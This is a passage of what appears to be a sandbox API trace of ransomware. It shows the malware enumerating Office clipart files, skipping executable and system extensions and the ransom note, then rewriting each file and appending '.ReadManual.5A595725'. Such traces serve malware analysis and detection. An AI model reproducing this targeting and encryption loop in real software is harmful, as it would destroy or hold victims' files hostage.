Office\\CLIPART\\PUB60COR\\BL00525_.WMF.ReadManual.5A595725") returned 87 [0260.814] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38148245396) returned 1 [0260.814] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0260.814] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.814] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9590) returned 1 [0260.814] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2576, lpName=0x0) returned 0x184 [0260.814] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.815] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.815] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.819] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.819] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2576) returned 0x2f0000 [0260.819] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.819] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38148802488) returned 1 [0260.819] CloseHandle (hObject=0x184) returned 1 [0260.819] SetSecurityInfo () returned 0x57 [0260.819] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.819] CloseHandle (hObject=0x194) returned 1 [0260.820] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0260.820] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00526_.WMF" | out: lpString1="BL00526_.WMF") returned="BL00526_.WMF" [0260.820] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.820] StrStrIW (lpFirst="BL00526_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.820] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.820] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.820] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.820] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.820] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.821] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.821] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" [0260.821] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.ReadManual.5A595725" [0260.821] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.ReadManual.5A595725") returned 87 [0260.821] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38148968622) returned 1 [0260.821] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0260.821] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.821] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27552) returned 1 [0260.821] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6ba0, lpName=0x0) returned 0x184 [0260.821] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.822] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.822] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.824] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.824] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6ba0) returned 0x2f0000 [0260.824] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.825] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38149339685) returned 1 [0260.825] CloseHandle (hObject=0x184) returned 1 [0260.825] SetSecurityInfo () returned 0x57 [0260.825] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.825] CloseHandle (hObject=0x194) returned 1 [0260.826] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0260.826] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00648_.WMF" | out: lpString1="BL00648_.WMF") returned="BL00648_.WMF" [0260.826] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.826] StrStrIW (lpFirst="BL00648_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.826] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.826] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.826] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" [0260.826] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.ReadManual.5A595725" [0260.826] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.ReadManual.5A595725") returned 87 [0260.826] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38149500762) returned 1 [0260.826] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0260.826] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.827] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11500) returned 1 [0260.827] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cec, lpName=0x0) returned 0x184 [0260.827] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.827] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.827] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.829] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.829] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cec) returned 0x2f0000 [0260.829] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.829] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38149803756) returned 1 [0260.829] CloseHandle (hObject=0x184) returned 1 [0260.829] SetSecurityInfo () returned 0x57 [0260.829] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.830] CloseHandle (hObject=0x194) returned 1 [0260.836] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0260.836] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00921_.WMF" | out: lpString1="BL00921_.WMF") returned="BL00921_.WMF" [0260.836] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.836] StrStrIW (lpFirst="BL00921_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.836] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.836] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.836] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" [0260.836] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.ReadManual.5A595725" [0260.836] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.ReadManual.5A595725") returned 87 [0260.836] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38150524666) returned 1 [0260.837] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0260.837] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.838] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4408) returned 1 [0260.838] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1138, lpName=0x0) returned 0x184 [0260.838] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.838] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.838] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.840] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.840] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1138) returned 0x2f0000 [0260.840] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.841] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38150939411) returned 1 [0260.841] CloseHandle (hObject=0x184) returned 1 [0260.841] SetSecurityInfo () returned 0x57 [0260.841] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.841] CloseHandle (hObject=0x194) returned 1 [0260.842] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0260.842] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00923_.WMF" | out: lpString1="BL00923_.WMF") returned="BL00923_.WMF" [0260.842] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.842] StrStrIW (lpFirst="BL00923_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.842] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.842] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.842] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.842] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.842] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.843] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.843] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" [0260.843] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.ReadManual.5A595725" [0260.843] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.ReadManual.5A595725") returned 87 [0260.843] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38151163910) returned 1 [0260.843] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0260.843] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.843] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6256) returned 1 [0260.843] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1870, lpName=0x0) returned 0x184 [0260.843] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.844] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.844] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.846] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.846] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1870) returned 0x2f0000 [0260.846] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.846] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38151481666) returned 1 [0260.846] CloseHandle (hObject=0x184) returned 1 [0260.846] SetSecurityInfo () returned 0x57 [0260.846] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.846] CloseHandle (hObject=0x194) returned 1 [0260.847] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0260.847] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00932_.WMF" | out: lpString1="BL00932_.WMF") returned="BL00932_.WMF" [0260.847] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.847] StrStrIW (lpFirst="BL00932_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.847] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.847] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.847] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" [0260.847] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.ReadManual.5A595725" [0260.848] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.ReadManual.5A595725") returned 87 [0260.848] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38151632041) returned 1 [0260.848] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0260.848] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.849] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19476) returned 1 [0260.849] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c14, lpName=0x0) returned 0x184 [0260.849] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.849] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.849] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, 